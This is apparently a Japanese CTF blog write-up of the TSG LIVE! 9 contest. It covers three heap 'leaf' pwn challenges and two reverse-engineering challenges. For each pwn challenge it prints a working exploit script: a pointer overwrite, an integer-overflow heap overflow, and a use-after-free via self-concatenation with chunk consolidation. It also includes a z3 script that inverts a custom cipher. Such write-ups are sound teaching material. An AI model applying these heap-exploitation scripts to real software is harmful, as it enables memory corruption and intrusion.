CTFするぞ

CTF以外のことも書くよ

TSG LIVE! 9に参加しました

先日、皆さんおなじみのTSG LIVE!が開催されました。

本来山登りの途中で参加する予定でしたが、筑波山ユニバーサル・スタジオができたらしく人間が多いようだったのでキャンセルしました。 深夜に登りに行く話もあったのですが、一緒に行く過半数が人間だったため、多数決で早朝登りになりました。 早朝起きるつらさは山登りの魅力に勝らず...

 深夜の山 > TSG\ LIVE ≒ 山 > 早朝の山 > 混雑した山

[pwn] lose leaf

盛大に壊れたプログラムが与えられます。

typedef struct Page {
    struct Page *next;
    char content[];
} Page;
...
  readn(page, size);

先にinteger overflowを見つけていたので「昨日酒飲んだからmoraさん頭おかしくなっちゃったのかな」と思っていましたが、integer overflowは次の問題でした。 問1でももっと難しくしてええんやで。

from ptrlib import *

def modify(index):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
def add_page(index, size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(size))
    if len(data) == size:
        sock.sendafter(": ", data)
    else:
        sock.sendlineafter(": ", data)
def delete_page(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
def back():
    sock.sendlineafter("> ", "3")

def concat(index):
    sock.sendlineafter("> ", "2")

sock = Process("./chall")
#sock = Socket("nc 104.198.95.69 30001")

modify(0)
payload = p64(0x404140 - 8) # flag - 8
add_page(0, 0x18, payload)
back()

sock.sendlineafter("> ", "3")
sock.sendlineafter(": ", "0")

sock.sh()

フラグがTSGLIVE{から始まるということで、最初ポインタをフラグ先頭に向けていました。 配布されていたサンプルフラグはLIVECTF{みたいなフォーマットだったのでそれを付け足して送りましたが、通りませんでした。 うだうだしていて質問しても、返答は問題ないとのことで更に困惑。8バイト引いたら配布されたフォーマットが間違っていました。 終わり。

[pwn] loose leaf

やりたい放題。

    printf("size: ");
    unsigned size = get_int();
    Page *page = (Page *)malloc(size + 8);
    page->next = next;
    printf("data: ");
    readn(page, size);

やるだけ。

sock = Socket("nc 104.198.95.69 30002")

modify(0)
add_page(0, 0xfffffff8, b"A")
add_page(1, 0x18, b"B"*0x10)
add_page(2, 0x18, b"C"*0x10)
delete_page(0)
payload = b"D"*0x48 + p64(0x404138)
add_page(1, 0xfffffff8, payload)
back()

sock.sh()

[pwn] looose leaf

integer overflowが潰されます。この時点でまだ見ていなかったのはconcat機能なので、そこにバグがあるのでしょう。

void concat_notes(unsigned idx1, unsigned idx2, unsigned idx3) {
    notes[idx3] = notes[idx1];
    Page **cur = &notes[idx3];
    while(*cur != NULL) {
        cur = &(*cur)->next;
    }
    *cur = notes[idx2];
    notes[idx1] = NULL;
    notes[idx2] = NULL;
}

こういう機能はたいてい同じインデックスを入れると爆死します。 今回の場合、同じリストを連結すると無限ループができます。 無限ループができると、最初のノートを破棄したときに2つ目のノートが最初のノートを指したままになり、Use-after-Freeになります。

あとはどうやってポインタ部分を書き換えるかですが、適当にチャンクをbackward consolidateさせてポインタ部分とデータ部分がかぶるようにします。

sock = Socket("nc 104.198.95.69 30003")

modify(2)
add_page(0, 0x420, b"1"*0x420)
add_page(1, 0x500, b"1"*0x500)
delete_page(1)
back()

modify(0)
add_page(0, 0x420, b"A"*0x420)
add_page(1, 0x10, b"B"*0x10)
back()

concat(0,0,1)
modify(1)
delete_page(0)
back()
modify(2)
delete_page(0)
payload  = b"C"*0x428
payload += p64(0x404140 - 8)
add_page(0, 0x500, payload)
back()

最初のフラグ送信ミスがありましたが、pwnは全部で30分ほどで終わっていたようです。 スコアボードが一瞬で消滅したので正確な時間は分かりません。

[rev] anger

時間内には解けませんでした。 問題自体がかなりangrのバージョンとかマシン性能とかコード依存だったので、問題名通りキレながらバイナリを読み始めました。

40分くらいで気合で全部読むと、キモいブロック暗号であることが分かります。 まず「This is the key」という鍵で謎のSboxっぽいものを初期化し、その後「This is the iv.」をIVとしてブロック暗号を始めます。

4バイトごとの暗号化を4回して1ブロックを処理しますが、その処理自体が2回走ります。 そしてその前後が同じ1ブロックの暗号でサンドイッチされています。 ループカウンタの実装がかなりキモくて復号処理の実装をミスって時間を溶かしました。死刑です。

from ptrlib import *
from z3 import *

"""
typedef struct {
  char key[0xb0];
  char iv[0x10]; // +B0h
  char flag[0x100];
};
"""
with open("problem", "rb") as f: # anger
    f.seek(0x20c0)
    enc = f.read(0x40)
with open("fuck", "rb") as f: # anger-against-anger
    f.seek(0x60e0)
    enc = f.read(0x40)

def blah(c):
    return ((27 * LShR(c, 7)) ^ (2 * c)) & 0xff

sbox = flat([
    0x2073692073696854, 0x0079656b20656874,
    0x2c79b7380c0ade18, 0x0c65ba270c1cdf4c,
    0xec8d24d6c0f493ee, 0xecf441bde091fb9a,
    0x56b708bfba3a2c69, 0x5ad2b298b626f325,
], map=p64)

def rev_blk(vec):
    c1 = BitVec('c1', 8)
    c2 = BitVec('c2', 8)
    c3 = BitVec('c3', 8)
    c4 = BitVec('c4', 8)
    s = Solver()
    s.add(c2^c3^c4^blah(c1^c2) == vec[0])
    s.add(c1^c3^c4^blah(c2^c3) == vec[1])
    s.add(c1^c2^c4^blah(c3^c4) == vec[2])
    s.add(c1^c2^c3^blah(c4^c1) == vec[3])
    s.check()
    m = s.model()
    print(m)
    vec = bytes([m[c1].as_long(), m[c2].as_long(), m[c3].as_long(), m[c4].as_long()])
    return vec

flag = b""
for v in range(4):
    vec = enc[v*0x10:(v+1)*0x10]
    print(vec)
    vec = xor(vec, sbox[0x30:0x40])
    for j in range(2, 0, -1):
        for i, block in enumerate(chunks(xor(vec, sbox[j*0x10:(j+1)*0x10]), 4)):
            b = rev_blk(block)
            vec = list(vec)
            vec[i*4+0] = b[0]
            vec[i*4+1] = b[1]
            vec[i*4+2] = b[2]
            vec[i*4+3] = b[3]
            vec = bytes(vec)
        print(vec)
    vec = xor(vec, sbox[0x00:0x10])
    flag += vec

iv = b"This is the iv."
for i in range(4):
    print(xor(flag[i*0x10:(i+1)*0x10], iv).decode(), end="")
    iv = enc[i*0x10:(i+1)*0x10]

[rev] anger-against-anger

yoshikingがUPXを展開してくれていたのでバイナリとオフセットを差し替えるとフラグが出ます。

感想

rev力よりも実装力がありませんでした...... ひと頑張りしたら寿司でも食べる予定でしたが、またも時間切れというカスをやらかしたのでずんだ餅にとどめました。

TSG LIVEも次回で10回目ですので、運営も慣れてきた頃でしょう。 もうそろそろ毎週開催にしてはいかがでしょうか

それはさておき、深夜登山したいです。あと富士急行きたい。

おまけ

TSG LIVE作問陣の人々、聞こえていますか・・・?

スピードが問われるCTFを開催するときのお得🉐🉐🉐情報があります! 同じジャンルの問題名は同じ単語から始めないのがおすすめです。 「hoge 1」「hoge 2」みたいな問題名にすると、フォルダ名の先頭がかぶりcdするときに時間のロスになります。 以上、RTACTF運営からのお得🉐🉐🉐情報でした。